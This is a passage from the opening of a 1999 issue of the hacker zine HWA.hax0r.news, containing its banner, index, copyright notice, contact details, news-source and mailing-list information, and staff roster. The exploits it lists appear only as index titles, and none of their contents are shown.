[ 28 63 29 20 31 39 39 39 20 63 72 75 63 69 70 68 75 78 20 68 77 61 ] =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-= ========================================================================== = <=-[ HWA.hax0r.news ]-=> = ========================================================================== [=HWA'99=] Number 38 Volume 1 1999 Oct 17th 99 ========================================================================== [ 61:20:6B:69:64:20:63:6F:75: ] [ 6C:64:20:62:72:65:61:6B:20:74:68:69:73: ] [ 20:22:65:6E:63:72:79:70:74:69:6F:6E:22:! ] ========================================================================== "ABUSUS NON TOLLIT USUM" ========================================================================== Today the spotlight may be on you, some interesting machines that have accessed these archives recently... marshall.us-state.gov digger1.defence.gov.au firewall.mendoza.gov.ar ipaccess.gov.ru gatekeeper.itsec-debis.de fgoscs.itsec-debis.de fhu-ed4ccdf.fhu.disa.mil citspr.tyndall.af.mil kelsatx2.kelly.af.mil kane.sheppard.af.mil relay5.nima.mil host.198-76-34-33.gsa.gov ntsrvr.vsw.navy.mil saic2.nosc.mil wygate.wy.blm.gov mrwilson.lanl.gov p722ar.npt.nuwc.navy.mil ws088228.ramstein.af.mil car-gw.defence.gov.au unknown-c-23-147.latimes.com nytgate1.nytimes.com =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-= http://welcome.to/HWA.hax0r.news/ =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-= Web site sponsored by CUBESOFT networks http://www.csoft.net check them out for great fast web hosting! =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-= The Hacker's Ethic Sadly, due to the traditional ignorance and sensationalizing of the mass media, the once-noble term hacker has become a perjorative. Among true computer people, being called a hacker is a compliment. One of the traits of the true hacker is a profoundly antibureaucratic and democratic spirit. That spirit is best exemplified by the Hacker's Ethic. This ethic was best formulated by Steven Levy in his 1984 book Hackers: Heroes of the Computer Revolution. Its tenets are as follows: 1 - Access to computers should be unlimited and total. 2 - All information should be free. 3 - Mistrust authority - promote decentralization. 4 - Hackers should be judged by their hacking not bogus criteria such as degrees, age, race, or position. 5 - You create art and beauty on a computer, 6 - Computers can change your life for the better. The Internet as a whole reflects this ethic. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-= A Comment on FORMATTING: Oct'99 - Started 80 column mode format. I received an email recently about the formatting of this newsletter, suggesting that it be formatted to 75 columns in the past I've endevoured to format all text to 80 cols except for articles and site statements and urls which are posted verbatim, I've decided to continue with this method unless more people complain, the zine is best viewed in 1024x768 mode with UEDIT.... - Ed =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-= New mirror sites http://net-security.org/hwahaxornews http://www.sysbreakers.com/hwa http://www.attrition.org/hosted/hwa/ http://www.ducktank.net/hwa/issues.html. http://viper.dmrt.com/files/=E-Zines/HWA.hax0r.news/ http://hwazine.cjb.net/ http://www.hackunlimited.com/files/secu/papers/hwa/ http://www.attrition.org/~modify/texts/zines/HWA/ * http://hwa.hax0r.news.8m.com/ * http://www.fortunecity.com/skyscraper/feature/103/ * Crappy free sites but they offer 20M & I need the space... ** Some issues are not located on these sites since they exceed the file size limitations imposed by the sites :-( please only use these if no other recourse is available. HWA.hax0r.news is sponsored by Cubesoft communications www.csoft.net thanks to airportman for the Cubesoft bandwidth. Also shouts out to all our mirror sites! and p0lix for the (now expired) digitalgeeks archive tnx guys. http://www.csoft.net/~hwa HWA.hax0r.news Mirror Sites: ~~~~~~~~~~~~~~~~~~~~~~~~~~~ http://www.attrition.org/hosted/hwa/ http://www.attrition.org/~modify/texts/zines/HWA/ http://www.ducktank.net/hwa/issues.html. ** NEW ** http://www.alldas.de/hwaidx1.htm ** NEW ** CHECK THIS ONE OUT ** http://www.csoft.net/~hwa/ http://www.digitalgeeks.com/hwa. *DOWN* http://members.tripod.com/~hwa_2k http://welcome.to/HWA.hax0r.news/ http://www.attrition.org/~modify/texts/zines/HWA/ http://www.projectgamma.com/archives/zines/hwa/ http://www.403-security.org/Htmls/hwa.hax0r.news.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-= SYNOPSIS (READ THIS) -------------------- The purpose of this newsletter is to 'digest' current events of interest that affect the online underground and netizens in general. This includes coverage of general security issues, hacks, exploits, underground news and anything else I think is worthy of a look see. (remember i'm doing this for me, not you, the fact some people happen to get a kick/use out of it is of secondary importance). This list is NOT meant as a replacement for, nor to compete with, the likes of publications such as CuD or PHRACK or with news sites such as AntiOnline, the Hacker News Network (HNN) or mailing lists such as BUGTRAQ or ISN nor could any other 'digest' of this type do so. It *is* intended however, to compliment such material and provide a reference to those who follow the culture by keeping tabs on as many sources as possible and providing links to further info, its a labour of love and will be continued for as long as I feel like it, i'm not motivated by dollars or the illusion of fame, did you ever notice how the most famous/infamous hackers are the ones that get caught? there's a lot to be said for remaining just outside the circle... @HWA =-----------------------------------------------------------------------= Welcome to HWA.hax0r.news ... #38 =-----------------------------------------------------------------------= We could use some more people joining the channel, its usually pretty quiet, we don't bite (usually) so if you're hanging out on irc stop by and idle a while and say hi... ******************************************************************* *** /join #HWA.hax0r.news on EFnet the key is `zwen' *** *** *** *** please join to discuss or impart news on techno/phac scene *** *** stuff or just to hang out ... someone is usually around 24/7*** *** *** *** Note that the channel isn't there to entertain you its for *** *** you to talk to us and impart news, if you're looking for fun*** *** then do NOT join our channel try #weirdwigs or something... *** *** we're not #chatzone or #hack *** *** *** ******************************************************************* =-------------------------------------------------------------------------= Issue #38 =--------------------------------------------------------------------------= [ INDEX ] =--------------------------------------------------------------------------= Key Intros =--------------------------------------------------------------------------= 00.0 .. COPYRIGHTS ...................................................... 00.1 .. CONTACT INFORMATION & SNAIL MAIL DROP ETC ....................... 00.2 .. SOURCES ......................................................... 00.3 .. THIS IS WHO WE ARE .............................................. 00.4 .. WHAT'S IN A NAME? why `HWA.hax0r.news'?.......................... 00.5 .. THE HWA_FAQ V1.0 ................................................ `ABUSUS NON TOLLIT USUM'? This is (in case you hadn't guessed) Latin, and loosely translated it means "Just because something is abused, it should not be taken away from those who use it properly). This is our new motto. =--------------------------------------------------------------------------= Key Content =--------------------------------------------------------------------------= 01.0 .. GREETS .......................................................... 01.1 .. Last minute stuff, rumours, newsbytes ........................... 01.2 .. Mailbag ......................................................... 02.0 .. From the Editor.................................................. 03.0 .. Fun with monicalewinsky.com...................................... 04.0 .. Fun with 3rdpig.com.............................................. 05.0 .. scan.sh v1.1b by Twistdpair [HWA]................................ 06.0 .. Bikkel (demoniz') web board back online.......................... 07.0 .. Belgians tighten computer security laws.......................... 08.0 .. Pakistani hacktivists 'blitz' web sites,,........................ 09.0 .. Fidnet gets funding.............................................. 10.0 .. Softseek.com Distributes Trojan Horse ........................... 11.0 .. Global Jam Echelon Day Update ................................... 12.0 .. NSA Document Retrieval Capabilities ............................. 13.0 .. London Firms Targeted for Cyber Attack .......................... 14.0 .. UK Phreaker Sentenced ........................................... 15.0 .. Disappearing Email? We Doubt It. ................................ 16.0 .. New Virus Found in Russia ....................................... 17.0 .. New Hack City ................................................... 18.0 .. Commercial Demos Used as Script Kiddie Tools .................... 19.0 .. MTV Makes Up True Life .......................................... 20.0 .. VMWARE For Windows............................................... 21.0 .. CQRE'99.......................................................... 22.0 .. Top 10 Smurf Amplifiers.......................................... 23.0 .. Cyberarmy lists, Proxies, Wingates, Shells etc................... 24.0 .. SMTP Relay scanner............................................... 25.0 .. FTP relay checker/scanner........................................ 26.0 .. The Last Line Of Defense, Broken. by Brian Martin................ 27.0 .. libtermcap<2.0.8-15 sploit by typo@scene.at (libc jumpback)...... 28.0 .. inews exploit, returns inews gid................................. 29.0 .. nlservd/rnavc local root exploit for Linux x86................... 30.0 .. Generic Solaris x86 exploit program by Brock Tellier............. 31.0 .. FreeBSD VFS Cache Exploit........................................ 32.0 .. Compaq, HP and MS join together to create PC Security Standards.. 33.0 .. Crypto; It;s Not Just Red, White, And Blue....................... 34.0 .. redhat 6.0 / redhat 5.2 zgv local by icesk [gH].................. 35.0 .. CGI and HTTP exploits v1.0....................................... 36.0 .. KeyRoot XiRCON DoS advisory...................................... 37.0 .. BNC cracker, bust BNC's.......................................... 38.0 .. Twstdpair's file grabber for 4dos w/netcat [HWA]................. 39.0 .. SeeGeeEye exploit scanner by KeyRoot ............................ 40.0 .. NiteClub.JAVA by KeyRoot......................................... 41.0 .. The securing UNIX checklist circa 1995........................... 42.0 .. Anonymizing UNIX systems by van Hauser [THC]..................... 43.0 .. Techniques Adopted By 'System Crackers' When Attempting To Break. 44.0 .. Through the looking glass: finding evidence of your cracker...... 45.0 .. Security code review guidelines.................................. 46.0 .. Bronc buster on Linux Security................................... 47.0 .. Perversions of the 'hacker ethic'................................ 48.0 .. A blast from the past: Phreaking in the UK in the 90's........... 49.0 .. UK:Playing with Photoplay 2000 systems........................... 50.0 .. HDF Seeks Board Members ......................................... 51.0 .. Distributed Ping Attacks ........................................ 52.0 .. Cyberterror Fact or Fiction? .................................... 53.0 .. Are Loss Estimates Accurate or Unduly Inflated? ................. 54.0 .. Hong Kong Claim Massive Progress in Defeating Pirates ........... 55.0 .. Cryptogram Oct 15th.............................................. 56.0 .. News from Sla5h.................................................. 57.0 .. E-MAILS TO GATES LEAD TO INDICTMENT.............................. 58.0 .. PIRATED SOFTWARE HUNT FLOPS...................................... 59.0 .. ALWAYS ON NET THREATENS HOME SECURITY............................ 60.0 .. PHC STRIKE AGAIN................................................. 61.0 .. HOTMAIL STILL IN VIRUS HOT SEAT.................................. 62.0 .. VIRUS LINKS E-MAIL TO PORN....................................... 63.0 .. FREEONLINE DENIES HOLE AND CHALLENGES HACKER..................... 64.0 .. THE IT SECURITY STRUGGLE CONTINUES............................... 65.0 .. MS LIKES COURTHOUSES............................................. 66.0 .. DESPITE HOAX..................................................... 67.0 .. BIOMETRICS....................................................... 68.0 .. Y2K NEWS RADIO BACK ONLINE....................................... 69.0 .. MELISSA CLONES................................................... 70.0 .. RUSSIA AND Y2K................................................... 71.0 .. CLASSIFIED BRIEFING.............................................. 72.0 .. PEDOPHILES APPREHENDED........................................... 73.0 .. PROJECT GAMMA.................................................... 74.0 .. DOT PROBLEM...................................................... 75.0 .. G8 MEETING ON CYBERCRIME......................................... 76.0 .. ONLINE INVESTORS CITE SECURITY AS TOP PRIORITY................... 77.0 .. JVM WARNING ISSUED............................................... 78.0 .. HACKING A PATH TO NET PRIVACY.................................... 79.0 .. INTEL'S HOT NUMBERS PROMISE MORE PRIVACY......................... 80.0 .. IT GURU SEEKS CRYPTO OVERSIGHT PANEL............................. =-------------------------------------------------------------------------------= AD.S .. Post your site ads or etc here, if you can offer something in return thats tres cool, if not we'll consider ur ad anyways so send it in. ads for other zines are ok too btw just mention us in yours, please remember to include links and an email contact. Corporate ads will be considered also and if your company wishes to donate to or participate in the upcoming Canc0n99 event send in your suggestions and ads now...n.b date and time may be pushed back join mailing list for up to date information....................................... Current dates: POSTPONED til further notice, place: TBA.. ................. Ha.Ha .. Humour and puzzles ............................................ Hey You!........................................................ =------=........................................................ Send in humour for this section! I need a laugh and its hard to find good stuff... ;)........................................... SITE.1 .. Featured site, ................................................. H.W .. Hacked Websites ............................................... A.0 .. APPENDICES...................................................... A.1 .. PHACVW linx and references...................................... =--------------------------------------------------------------------------= @HWA'99 00.0 (C) COPYRIGHT, (K)OPYWRONG, COPYLEFT? V2.0 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ THE OPINIONS OF THE WRITERS DO NOT NECESSARILY REFLECT THE OPINIONS OF THE PUBLISHERS AND VICE VERSA IN FACT WE DUNNO WTF IS GONNA TAKE RESPONSIBILITY FOR THIS, I'M NOT DOING IT (LOTS OF ME EITHER'S RESOUND IN THE BACKGROUND) SO UHM JUST READ IT AND IF IT BUGS YOU WELL TFS (SEE FAQ). Important semi-legalese and license to redistribute: YOU MAY DISTRIBUTE THIS ZINE WITHOUT PERMISSION FROM MYSELF AND ARE GRANTED THE RIGHT TO QUOTE ME OR THE CONTENTS OF THE ZINE SO LONG AS Cruciphux AND/OR HWA.hax0r.news ARE MENTIONED IN YOUR WRITING. LINK'S ARE NOT NECESSARY OR EXPECTED BUT ARE APPRECIATED the current link is http://welcome.to/HWA.hax0r.news IT IS NOT MY INTENTION TO VIOLATE ANYONE'S COPYRIGHTS OR BREAK ANY NETIQUETTE IN ANY WAY IF YOU FEEL I'VE DONE THAT PLEASE EMAIL ME PRIVATELY current email cruciphux@dok.org THIS DOES NOT CONSTITUTE ANY LEGAL RIGHTS, IN THIS COUNTRY ALL WORKS ARE (C) AS SOON AS COMMITTED TO PAPER OR DISK, IF ORIGINAL THE LAYOUT AND COMMENTARIES ARE THEREFORE (C) WHICH MEANS: I RETAIN ALL RIGHTS, BUT I GIVE YOU THE RIGHT TO READ, QUOTE AND REDISTRIBUTE/MIRROR. - EoD Although this file and all future issues are now copyright, some of the content holds its own copyright and these are printed and respected. News is news so i'll print any and all news but will quote sources when the source is known, if its good enough for CNN its good enough for me. And i'm doing it for free on my own time so pfffft. :) No monies are made or sought through the distribution of this material. If you have a problem or concern email me and we'll discuss it. cruciphux@dok.org Cruciphux [C*:.] 00.1 CONTACT INFORMATION AND MAIL DROP ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Wahoo, we now have a mail-drop, if you are outside of the U.S.A or Canada / North America (hell even if you are inside ..) and wish to send printed matter like newspaper clippings a subscription to your cool foreign hacking zine or photos, small non-explosive packages or sensitive information etc etc well, now you can. (w00t) please no more inflatable sheep or plastic dog droppings, or fake vomit thanks. Send all goodies to: HWA NEWS P.O BOX 44118 370 MAIN ST. NORTH BRAMPTON, ONTARIO CANADA L6V 4H5 WANTED!: POSTCARDS! YESH! POSTCARDS, I COLLECT EM so I know a lot of you are ~~~~~~~ reading this from some interesting places, make my day and get a mention in the zine, send in a postcard, I realize that some places it is cost prohibitive but if you have the time and money be a cool dude / gal and send a poor guy a postcard preferably one that has some scenery from your place of residence for my collection, I collect stamps too so you kill two birds with one stone by being cool and mailing in a postcard, return address not necessary, just a "hey guys being cool in Bahrain, take it easy" will do ... ;-) thanx. Ideas for interesting 'stuff' to send in apart from news: - Photo copies of old system manual front pages (optionally signed by you) ;-) - Photos of yourself, your mom, sister, dog and or cat in a NON compromising position plz I don't want pr0n. - Picture postcards - CD's 3.5" disks, Zip disks, 5.25" or 8" floppies, Qic40/80/100-250 tapes with hack/security related archives, logs, irc logs etc on em. - audio or video cassettes of yourself/others etc of interesting phone fun or social engineering examples or transcripts thereof. Stuff you can email: - Prank phone calls in .ram or .mp* format - Fone tones and security announcements from PBX's etc - fun shit you sampled off yer scanner (relevant stuff only like #2600 meeting activities) - reserved for one smiley face -> :-) <- - PHACV lists of files that you have or phac cd's you own (we have a burner, *g*) - burns of phac cds (email first to make sure we don't already have em) - Any and all telephone sounds/tones/beeps/trunk drops/line tests/etc in .ram etc format or .mp* If you still can't think of anything you're probably not that interesting a person after all so don't worry about it Our current email: Submissions/zine gossip.....: hwa@press.usmc.net Private email to editor.....: cruciphux@dok.org Distribution/Website........: sas72@usa.net Websites; sAs72.......................: http://members.tripod.com/~sAs72/ Cruciphux...................: http://www.geocities.com/Area51/Lair/8913/ @HWA 00.2 Sources *** ~~~~~~~~~~~ Sources can be some, all, or none of the following (by no means complete nor listed in any degree of importance) Unless otherwise noted, like msgs from lists or news from other sites, articles and information is compiled and or sourced by Cruciphux no copyright claimed. News & I/O zine ................. http://www.antionline.com/ Back Orifice/cDc..................http://www.cultdeadcow.com/ News site (HNN) .....,............http://www.hackernews.com/ Help Net Security.................http://net-security.org/ News,Advisories,++ .(lophtcrack)..http://www.l0pht.com/ NewsTrolls .(daily news ).........http://www.newstrolls.com/ News + Exploit archive ...........http://www.rootshell.com/beta/news.html CuD Computer Underground Digest...http://www.soci.niu.edu/~cudigest News site+........................http://www.zdnet.com/ News site+Security................http://www.gammaforce.org/ News site+Security................http://www.projectgamma.com/ News site+Security................http://securityhole.8m.com/ News site+Security related site...http://www.403-security.org/ *DOWN* News/Humour site+ ................http://www.innerpulse.com News/Techie news site.............http://www.slashdot.org +Various mailing lists and some newsgroups, such as ... +other sites available on the HNN affiliates page, please see http://www.hackernews.com/affiliates.html as they seem to be popping up rather frequently ... http://www.the-project.org/ .. IRC list/admin archives http://www.anchordesk.com/ .. Jesse Berst's AnchorDesk alt.hackers.malicious alt.hackers alt.2600 BUGTRAQ ISN security mailing list ntbugtraq <+others> NEWS Agencies, News search engines etc: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ http://www.cnn.com/SEARCH/ http://www.foxnews.com/search/cgi-bin/search.cgi?query=hack&days=0&wires=0&startwire=0 http://www.news.com/Searching/Results/1,18,1,00.html?querystr=hack http://www.ottawacitizen.com/business/ http://search.yahoo.com.sg/search/news_sg?p=hack http://www.washingtonpost.com/cgi-bin/search?DB_NAME=WPlate&TOTAL_HITLIST=20&DEFAULT_OPERATOR=AND&headline=&WITHIN_FIELD_NAME=.lt.event_date&WITHIN_DAYS=0&description=hack http://www.zdnet.com/zdtv/cybercrime/ http://www.zdnet.com/zdtv/cybercrime/chaostheory/ (Kevin Poulsen's Column) NOTE: See appendices for details on other links. http://news.bbc.co.uk/hi/english/sci/tech/newsid_254000/254236.stm http://freespeech.org/eua/ Electronic Underground Affiliation http://ech0.cjb.net ech0 Security http://axon.jccc.net/hir/ Hackers Information Report http://net-security.org Net Security http://www.403-security.org Daily news and security related site Submissions/Hints/Tips/Etc ~~~~~~~~~~~~~~~~~~~~~~~~~~ All submissions that are `published' are printed with the credits you provide, if no response is received by a week or two it is assumed that you don't care wether the article/email is to be used in an issue or not and may be used at my discretion. Looking for: Good news sites that are not already listed here OR on the HNN affiliates page at http://www.hackernews.com/affiliates.html Magazines (complete or just the articles) of breaking sekurity or hacker activity in your region, this includes telephone phraud and any other technological use, abuse hole or cool thingy. ;-) cut em out and send it to the drop box. - Ed Mailing List Subscription Info (Far from complete) Feb 1999 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~ ~~~~~~~~ ISS Security mailing list faq : http://www.iss.net/iss/maillist.html THE MOST READ: BUGTRAQ - Subscription info ~~~~~~~~~~~~~~~~~~~~~~~~~~~ What is Bugtraq? Bugtraq is a full-disclosure UNIX security mailing list, (see the info file) started by Scott Chasin . To subscribe to bugtraq, send mail to listserv@netspace.org containing the message body subscribe bugtraq. I've been archiving this list on the web since late 1993. It is searchable with glimpse and archived on-the-fly with hypermail. Searchable Hypermail Index; http://www.eecs.nwu.edu/~jmyers/bugtraq/index.html Link About the Bugtraq mailing list ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ The following comes from Bugtraq's info file: This list is for *detailed* discussion of UNIX security holes: what they are, how to exploit, and what to do to fix them. This list is not intended to be about cracking systems or exploiting their vulnerabilities. It is about defining, recognizing, and preventing use of security holes and risks. Please refrain from posting one-line messages or messages that do not contain any substance that can relate to this list`s charter. I will allow certain informational posts regarding updates to security tools, documents, etc. But I will not tolerate any unnecessary or nonessential "noise" on this list. Please follow the below guidelines on what kind of information should be posted to the Bugtraq list: + Information on Unix related security holes/backdoors (past and present) + Exploit programs, scripts or detailed processes about the above + Patches, workarounds, fixes + Announcements, advisories or warnings + Ideas, future plans or current works dealing with Unix security + Information material regarding vendor contacts and procedures + Individual experiences in dealing with above vendors or security organizations + Incident advisories or informational reporting Any non-essential replies should not be directed to the list but to the originator of the message. Please do not "CC" the bugtraq reflector address if the response does not meet the above criteria. Remember: YOYOW. You own your own words. This means that you are responsible for the words that you post on this list and that reproduction of those words without your permission in any medium outside the distribution of this list may be challenged by you, the author. For questions or comments, please mail me: chasin@crimelab.com (Scott Chasin) UPDATED Sept/99 - Sent in by Androthi, tnx for the update ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ I am pleased to inform you of several changes that will be occurring on June 5th. I hope you find them as exciting as I do. BUGTRAQ moves to a new home --------------------------- First, BUGTRAQ will be moving from its current home at NETSPACE.ORG to SECURITYFOCUS.COM. What is Security Focus you ask? Wait and read below. Other than the change of domains nothing of how the list is run changes. I am still the moderator. We play by the same rules. Security Focus will be providing mail archives for BUGTRAQ. The archives go back longer than Netspace's and are more complete than Geek-Girl's. The move will occur one week from today. You will not need to resubscribe. All your information, including subscription options will be moved transparently. Any of you using mail filters (e.g. procmail) to sort incoming mail into mail folders by examining the From address will have to update them to include the new address. The new address will be: BUGTRAQ@SECURITYFOCUS.COM Security Focus also be providing a free searchable vulnerability database. BUGTRAQ es muy bueno -------------------- It has also become apparent that there is a need for forums in the spirit of BUGTRAQ where non-English speaking people or people that don't feel comfortable speaking English can exchange information. As such I've decided to give BUGTRAQ in other languages a try. BUGTRAQ will continue to be the place to submit vulnerability information, but if you feel more comfortable using some other language you can give the other lists a try. All relevant information from the other lists which have not already been covered here will be translated and forwarded on by the list moderator. In the next couple of weeks we will be introducing BUGTRAQ-JP (Japanese) which will be moderated by Nobuo Miwa and BUGTRAQ-SP (Spanish) which will be moderated by CORE SDI S.A. from Argentina (the folks that brought you Secure Syslog and the SSH insertion attack). What is Security Focus? ----------------------- Security Focus is an exercise in creating a community and a security resource. We hope to be able to provide a medium where useful and successful resources such as BUGTRAQ can occur, while at the same time providing a comprehensive source of security information. Aside from moving just BUGTRAQ over, the Geek-Girl archives (and the Geek Girl herself!) have moved over to Security Focus to help us with building this new community. The other staff at Security Focus are largely derived from long time supporters of Bugtraq and the community in general. If you are interested in viewing the staff pages, please see the 'About' section on www.securityfocus.com. On the community creating front you will find a set of forums and mailing lists we hope you will find useful. A number of them are not scheduled to start for several weeks but starting today the following list is available: * Incidents' Mailing List. BUGTRAQ has always been about the discussion of new vulnerabilities. As such I normally don't approve messages about break-ins, trojans, viruses, etc with the exception of wide spread cases (Melissa, ADM worm, etc). The other choice people are usually left with is email CERT but this fails to communicate this important information to other that may be potentially affected. The Incidents mailing list is a lightly moderated mailing list to facilitate the quick exchange of security incident information. Topical items include such things as information about rootkits new trojan horses and viruses, source of attacks and tell-tale signs of intrusions. To subscribe email LISTSERV@SECURITYFOCUS.COM with a message body of: SUBS INCIDENTS FirstName, LastName Shortly we'll also be introducing an Information Warfare forum along with ten other forums over the next two months. These forums will be built and moderated by people in the community as well as vendors who are willing to take part in the community building process. *Note to the vendors here* We have several security vendors who have agreed to run forums where they can participate in the online communities. If you would like to take part as well, mail Alfred Huger, ahuger@securityfocus.com. On the information resource front you find a large database of the following: * Vulnerabilities. We are making accessible a free vulnerability database. You can search it by vendor, product and keyword. You will find detailed information on the vulnerability and how to fix it, as well are links to reference information such as email messages, advisories and web pages. You can search by vendor, product and keywords. The database itself is the result of culling through 5 years of BUGTRAQ plus countless other lists and news groups. It's a shining example of how thorough full disclosure has made a significant impact on the industry over the last half decade. * Products. An incredible number of categorized security products from over two hundred different vendors. * Services. A large and focused directory of security services offered by vendors. * Books, Papers and Articles. A vast number of categorized security related books, papers and articles. Available to download directly for our servers when possible. * Tools. A large array of free security tools. Categorized and available for download. * News: A vast number of security news articles going all the way back to 1995. * Security Resources: A directory to other security resources on the net. As well as many other things such as an event calendar. For your convenience the home-page can be personalized to display only information you may be interested in. You can filter by categories, keywords and operating systems, as well as configure how much data to display. I'd like to thank the fine folks at NETSPACE for hosting the site for as long as they have. Their services have been invaluable. I hope you find these changes for the best and the new services useful. I invite you to visit http://www.securityfocus.com/ and check it out for yourself. If you have any comments or suggestions please feel free to contact me at this address or at aleph1@securityfocus.com. Cheers. -- Aleph One / aleph1@underground.org http://underground.org/ KeyID 1024/948FD6B5 Fingerprint EE C9 E8 AA CB AF 09 61 8C 39 EA 47 A8 6A B8 01 Crypto-Gram ~~~~~~~~~~~ CRYPTO-GRAM is a free monthly newsletter providing summaries, analyses, insights, and commentaries on cryptography and computer security. To subscribe, visit http://www.counterpane.com/crypto-gram.html or send a blank message to crypto-gram-subscribe@chaparraltree.com.  To unsubscribe, visit http://www.counterpane.com/unsubform.html.  Back issues are available on http://www.counterpane.com. CRYPTO-GRAM is written by Bruce Schneier.  Schneier is president of Counterpane Systems, the author of "Applied Cryptography," and an inventor of the Blowfish, Twofish, and Yarrow algorithms.  He served on the board of the International Association for Cryptologic Research, EPIC, and VTW.  He is a frequent writer and lecturer on cryptography. CUD Computer Underground Digest ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ This info directly from their latest ish: Computer underground Digest    Sun  14 Feb, 1999   Volume 11 : Issue 09                             ISSN  1004-042X        Editor: Jim Thomas (cudigest@sun.soci.niu.edu)        News Editor: Gordon Meyer (gmeyer@sun.soci.niu.edu)        Archivist: Brendan Kehoe        Poof Reader:   Etaion Shrdlu, Jr.        Shadow-Archivists: Dan Carosone / Paul Southworth                           Ralph Sims / Jyrki Kuoppala                           Ian Dickinson        Cu Digest Homepage: http://www.soci.niu.edu/~cudigest [ISN] Security list ~~~~~~~~~~~~~~~~~~~ This is a low volume list with lots of informative articles, if I had my way i'd reproduce them ALL here, well almost all .... ;-) - Ed UPDATED Sept/99 - Sent in by Androthi, tnx for the update ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ --[ New ISN announcement (New!!) Sender: ISN Mailing List From: mea culpa Subject: Where has ISN been? Comments: To: InfoSec News To: ISN@SECURITYFOCUS.COM It all starts long ago, on a network far away.. Not really. Several months ago the system that hosted the ISN mail list was taken offline. Before that occured, I was not able to retrieve the subscriber list. Because of that, the list has been down for a while. I opted to wait to get the list back rather than attempt to make everyone resubscribe. As you can see from the headers, ISN is now generously being hosted by Security Focus [www.securityfocus.com]. THey are providing the bandwidth, machine, and listserv that runs the list now. Hopefully, this message will find all ISN subscribers, help us weed out dead addresses, and assure you the list is still here. If you have found the list to be valuable in the past, please tell friends and associates about the list. To subscribe, mail listserv@securityfocus.com with "subscribe isn firstname lastname". To unsubscribe, "unsubscribe isn". As usual, comments and suggestions are welcome. I apologize for the down time of the list. Hopefully it won't happen again. ;) mea_culpa www.attrition.org --[ Old ISN welcome message [Last updated on: Mon Nov 04 0:11:23 1998] InfoSec News is a privately run, medium traffic list that caters to distribution of information security news articles. These articles will come from newspapers, magazines, online resources, and more. The subject line will always contain the title of the article, so that you may quickly and effeciently filter past the articles of no interest. This list will contain: o Articles catering to security, hacking, firewalls, new security encryption, products, public hacks, hoaxes, legislation affecting these topics and more. o Information on where to obtain articles in current magazines. o Security Book reviews and information. o Security conference/seminar information. o New security product information. o And anything else that comes to mind.. Feedback is encouraged. The list maintainers would like to hear what you think of the list, what could use improving, and which parts are "right on". Subscribers are also encouraged to submit articles or URLs. If you submit an article, please send either the URL or the article in ASCII text. Further, subscribers are encouraged to give feedback on articles or stories, which may be posted to the list. Please do NOT: * subscribe vanity mail forwards to this list * subscribe from 'free' mail addresses (ie: juno, hotmail) * enable vacation messages while subscribed to mail lists * subscribe from any account with a small quota All of these generate messages to the list owner and make tracking down dead accounts very difficult. I am currently receiving as many as fifty returned mails a day. Any of the above are grounds for being unsubscribed. You are welcome to resubscribe when you address the issue(s). Special thanks to the following for continued contribution: William Knowles, Aleph One, Will Spencer, Jay Dyson, Nicholas Brawn, Felix von Leitner, Phreak Moi and other contributers. ISN Archive: ftp://ftp.repsec.com/pub/text/digests/isn ISN Archive: http://www.landfield.com/isn ISN Archive: http://www.jammed.com/Lists/ISN/ ISN is Moderated by 'mea_culpa' . ISN is a private list. Moderation of topics, member subscription, and everything else about the list is solely at his discretion. The ISN membership list is NOT available for sale or disclosure. ISN is a non-profit list. Sponsors are only donating to cover bandwidth and server costs. @HWA 00.3 THIS IS WHO WE ARE ~~~~~~~~~~~~~~~~~~ Some HWA members and Legacy staff ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ cruciphux@dok.org.........: currently active/editorial darkshadez@ThePentagon.com: currently active/man in black fprophet@dok.org..........: currently active/programming/IRC+ man in black sas72@usa.net ............. currently active/IRC+ distribution vexxation@usa.net ........: currently active/IRC+ proof reader/grrl in black dicentra...(email withheld): IRC+ grrl in black twisted-pair@home.com......: currently active/programming/IRC+ Foreign Correspondants/affiliate members ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Qubik ............................: United Kingdom D----Y ...........................: USA/world media HWA members ......................: World Media Past Foreign Correspondants (currently inactive or presumed dead) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Sla5h.............................: Croatia N0Portz ..........................: Australia system error .....................: Indonesia Wile (wile coyote) ...............: Japan/the East Ruffneck ........................: Netherlands/Holland Wyze1.............................: South Africa Please send in your sites for inclusion here if you haven't already also if you want your emails listed send me a note ... - Ed Spikeman's site is down as of this writing, if it comes back online it will be posted here. http://www.hackerlink.or.id/ ............ System Error's site (in Indonesian) Sla5h's email: smuddo@yahoo.com ******************************************************************* *** /join #HWA.hax0r.news on EFnet the key is `zwen' *** ******************************************************************* :-p 1. We do NOT work for the government in any shape or form.Unless you count paying taxes ... in which case we work for the gov't in a BIG WAY. :-/ 2. MOSTLY Unchanged since issue #1, although issues are a digest of recent news events its a good idea to check out issue #1 at least and possibly also the Xmas issue for a good feel of what we're all about otherwise 